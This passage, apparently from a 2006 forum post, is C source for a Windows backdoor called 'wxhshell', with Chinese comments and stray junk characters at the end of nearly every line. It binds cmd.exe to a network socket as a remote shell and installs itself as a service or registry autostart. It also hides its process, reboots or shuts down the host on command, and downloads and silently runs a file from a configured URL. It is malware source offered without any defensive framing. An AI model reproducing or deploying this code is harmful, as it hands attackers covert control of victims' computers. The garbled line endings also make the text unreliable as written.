  // 帮助 ~;;_POm  
  case '?': { O:a$ U:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wzMWuA4vX  
    break; /m;w~ -N  
  } Vy:ER  
  // 安装 NB&u^8b  
  case 'i': { | We @p  
    if(Install()) 'g a1SbA]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *X;g Y  
    else m`c(J1Et  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~QsQ7SAs  
    break; ::vw 1Es  
    } +G_6Ek4  
  // 卸载 B!le=V,@,  
  case 'r': { =P+S]<O  
    if(Uninstall()) vAJfMUlP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NC vwg  
    else % KY&E>^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dg#Ab8  
    break; #V8='qD  
    } ,9#G/nF  
  // 显示 wxhshell 所在路径 k- sbZL  
  case 'p': { " I@Z:[=2  
    char svExeFile[MAX_PATH]; ^U_B>0`ch  
    strcpy(svExeFile,"\n\r"); )vS## -[_  
      strcat(svExeFile,ExeFile); A?;/]m;  
        send(wsh,svExeFile,strlen(svExeFile),0); &fj&UBA  
    break; &K^h'>t'  
    } o\Hg2^YY>  
  // 重启 T"Q4vk,3*J  
  case 'b': { l{Hi5x'H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {F k]X#j  
    if(Boot(REBOOT)) 3MjMN%{P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;:9 x.IkxC  
    else { va;d[D,  
    closesocket(wsh); `>8|  
    ExitThread(0); n37( sKG  
    } ?V[yw=sl04  
    break; zPV/{)S  
    } KX<RD|=  
  // 关机 jVRd[  
  case 'd': { X2i<2N*@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eS@RA2  
    if(Boot(SHUTDOWN)) mc(&'U8R0I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YQN=.Wtc  
    else { FZA8@J|Q4  
    closesocket(wsh); XpH[SRUx  
    ExitThread(0); de1&  
    } i}<R >]S  
    break; SsznV}{^  
    } mk4%]t"  
  // 获取shell jd2Fh):q  
  case 's': { m2|0<P@k!  
    CmdShell(wsh); !gf&l ^)  
    closesocket(wsh); 'KQu z)-  
    ExitThread(0); >/bl r}5 H  
    break; lGLZIp  
  } RFK N,oB  
  // 退出 \\)-[4uC  
  case 'x': { /2HwK/RZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %k$C   
    CloseIt(wsh); dIO\ lL   
    break; }UGPEf\  
    } +Kq>r|;  
  // 离开 h'-TZXs0e1  
  case 'q': { 2|%30i,vV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;*Z w}51  
    closesocket(wsh); ?>o39|M_w  
    WSACleanup(); LOida#R  
    exit(1); "W+4`A(/l  
    break; \R-u+ci$ZY  
        } NM8 F  
  } Z@ws,f^e  
  } 2qr%xK'^B  
N'`*#UI+  
  // 提示信息 n1ED _9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QHs]~Ja  
} 5h> gz  
  } %?wuKZLnc  
AN~1E@"  
  return; `z=MI66Nl  
} <![T~<.  
ZY/at/v  
// shell模块句柄 ,OasT!Sr  
int CmdShell(SOCKET sock) sG VC+!E  
{ MJg^ QVM  
STARTUPINFO si; 2hu6  
ZeroMemory(&si,sizeof(si)); y~luuV;uj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &erNVD5o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5;^8wh(  
PROCESS_INFORMATION ProcessInfo; 84 knoC  
char cmdline[]="cmd"; .M! (|KE4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Zh(f2urKV  
  return 0; K0E ;4r  
} |;_ yAL  
1QN]9R0`#7  
// 自身启动模式 W.67, 0m$  
int StartFromService(void) ^2??]R&Q  
{ gR(c;  
typedef struct KcU,RTE  
{ =;{S>P!I(t  
  DWORD ExitStatus; Z9sg6M@s  
  DWORD PebBaseAddress; 8@qahEgQ  
  DWORD AffinityMask; %d7iQZb>  
  DWORD BasePriority; ZbGyl}8ua  
  ULONG UniqueProcessId; isd[l-wAmf  
  ULONG InheritedFromUniqueProcessId; LTY.i3  
}   PROCESS_BASIC_INFORMATION; FCe503qND$  
x9ws@=[:  
PROCNTQSIP NtQueryInformationProcess; uo{QF5z]  
=az$WRV+7!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aFSZYyPxwv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,f1wN{P  
eP2 yU  
  HANDLE             hProcess; {Y@[hoHtF  
  PROCESS_BASIC_INFORMATION pbi; ;,A\bmC  
B#DV<%GPl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7uDUZdJy  
  if(NULL == hInst ) return 0; T#BOrT>V  
14&EdTG.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )3 r1; ^W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d}=p-s.GA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zm}1~A  
evs2dz<eA  
  if (!NtQueryInformationProcess) return 0; -(iJ<  
='JX_U`A^F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *= 71/&B  
  if(!hProcess) return 0; ]d[q:N]z  
4Oy c D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >r*Zm2($MR  
s=nds"J  
  CloseHandle(hProcess); kp$ILZ  
#X8[g_d/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TXaXJIp  
if(hProcess==NULL) return 0; 4|e#b(!  
B';Ob  
HMODULE hMod; ]@P*&FRcZ  
char procName[255]; DEs?xl]zO  
unsigned long cbNeeded; /{U{smtdFl  
%G@aZWk Sa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l>iU Q&V  
96.Wfx  
  CloseHandle(hProcess); <#Lw.;(U;k  
h>/ViB@"W|  
if(strstr(procName,"services")) return 1; // 以服务启动 vuZ<'?Nm  
L~$RF {$  
  return 0; // 注册表启动 oN$ZZk R  
} G](K2=  
mOB\ `&h5  
// 主模块 Lv4=-mWv&0  
int StartWxhshell(LPSTR lpCmdLine) <(MFEIt  
{ _"bx#B*  
  SOCKET wsl; d5\1-d_uz  
BOOL val=TRUE; op*+fJHD  
  int port=0; }';&0p2Z  
  struct sockaddr_in door; kT1lOP-Bg  
VJ"3G;;  
  if(wscfg.ws_autoins) Install(); >guQY I@4,  
ah92<'ix  
port=atoi(lpCmdLine); yU.0'r5uR  
F"=MU8  
if(port<=0) port=wscfg.ws_port; ,54<U~Lg:  
fUXp)0O  
  WSADATA data; GN<I|mGLJK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8z CAy@u  
3KKe4{oG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T42g4j/l~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LTe7f8A  
  door.sin_family = AF_INET; w(j9[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); = I(s7=Liu  
  door.sin_port = htons(port); hvyN8We  
6&Dvp1`m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z!+<m<  
closesocket(wsl); a}K+w7VY\  
return 1; r2th6hl~  
} Lk9>7xY  
IO#W#wW$M  
  if(listen(wsl,2) == INVALID_SOCKET) { [UH5D~Yx  
closesocket(wsl); ,ln uu  
return 1; yFt7fdl2  
} o^?{j*)g  
  Wxhshell(wsl); *ls6#j@  
  WSACleanup(); bwJi[xF  
n@Ag`}  
return 0; CnH R&`  
o FLrSmY)E  
} DVJc-.x8  
VO Qt{v{1|  
// 以NT服务方式启动 d eoM~r9s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .y/b$|d,  
{ $D5U#  
DWORD   status = 0; h+UscdU l  
  DWORD   specificError = 0xfffffff; |pqpF?h5|  
)US/bC!M$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AG7}$O.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }dUC^04  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p L@zZK0  
  serviceStatus.dwWin32ExitCode     = 0; m_2P{  
  serviceStatus.dwServiceSpecificExitCode = 0; !r*;R\!n2  
  serviceStatus.dwCheckPoint       = 0; x]oQl^ F  
  serviceStatus.dwWaitHint       = 0; Q*.FUV&;  
\6hL W_q1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q /c WV  
  if (hServiceStatusHandle==0) return; Lf#G?]@  
_6!/}Fm  
status = GetLastError(); aS vE  
  if (status!=NO_ERROR) (NdgF+'=  
{ !yX<v%>_0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <6C9R>  
    serviceStatus.dwCheckPoint       = 0; j>xVy]v=|  
    serviceStatus.dwWaitHint       = 0; fWyDWU  
    serviceStatus.dwWin32ExitCode     = status; I_G>W3  
    serviceStatus.dwServiceSpecificExitCode = specificError; iyYY)roB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h50StZ8Yr  
    return; P|4E1O  
  } EcoUpiL%2  
zD^f%p ["#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nq f<NH3i  
  serviceStatus.dwCheckPoint       = 0; k8e"5 he  
  serviceStatus.dwWaitHint       = 0; Iv72;ZCh?6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]7kGHIJ|  
} s;s-6%p  
|WU`p  
// 处理NT服务事件,比如:启动、停止 nn L$m_K~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ok s=|'&  
{ Qz+d[%Q}x  
switch(fdwControl) jF{gDK  
{ I#t9aR+&  
case SERVICE_CONTROL_STOP: .)> /!|i  
  serviceStatus.dwWin32ExitCode = 0; N&APqT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {(}w4.!  
  serviceStatus.dwCheckPoint   = 0; =t$mbI   
  serviceStatus.dwWaitHint     = 0; SU O;  
  { `u~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _qt;{,t  
  } ~f10ZB_k>'  
  return; \'+{X(]  
case SERVICE_CONTROL_PAUSE: i @9 Qb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I"sobZ`  
  break; W}k?gg=  
case SERVICE_CONTROL_CONTINUE: P}9Y8$Y>U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &JhIn%=-  
  break; p@8krOo`  
case SERVICE_CONTROL_INTERROGATE: qM>OE8c#/  
  break; {Okik}Oh  
}; :Q ?J}N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5**5b9bj-9  
} d]ZC8<`w  
*{dD'9Bg  
// 标准应用程序主函数 d50IAa^p6J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M.:@<S  
{ C}= _8N  
h2|vB+W-  
// 获取操作系统版本 9U9c"'g  
OsIsNt=GetOsVer(); V,XP&,no\j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z#Zzi5<  
4zqE?$HM'  
  // 从命令行安装 \kV7NA  
  if(strpbrk(lpCmdLine,"iI")) Install(); uP{+?#a_-\  
]2\2/~l  
  // 下载执行文件 39T&c85  
if(wscfg.ws_downexe) { 3TiXYH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7 Mki?EG  
  WinExec(wscfg.ws_filenam,SW_HIDE); O&gwr  
} 9[p }.9/  
~I\r1Wj;  
if(!OsIsNt) { O3C)N I\i  
// 如果时win9x,隐藏进程并且设置为注册表启动 0Dm`Ek3A7x  
HideProc(); ! jX+ox  
StartWxhshell(lpCmdLine); nhP~jJn  
} I "Q9W|J_&  
else ;/";d]j  
  if(StartFromService()) jO&f*rxN  
  // 以服务方式启动 E8iadf49  
  StartServiceCtrlDispatcher(DispatchTable); %<=vbL9  
else 9(^X2L&Z  
  // 普通方式启动 _N,KHxsG8B  
  StartWxhshell(lpCmdLine); O5TK&j  
1x\W52 1  
return 0; &Qq/Xi,bZ  
}
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只看该作者 1 发表于: 2006-10-10
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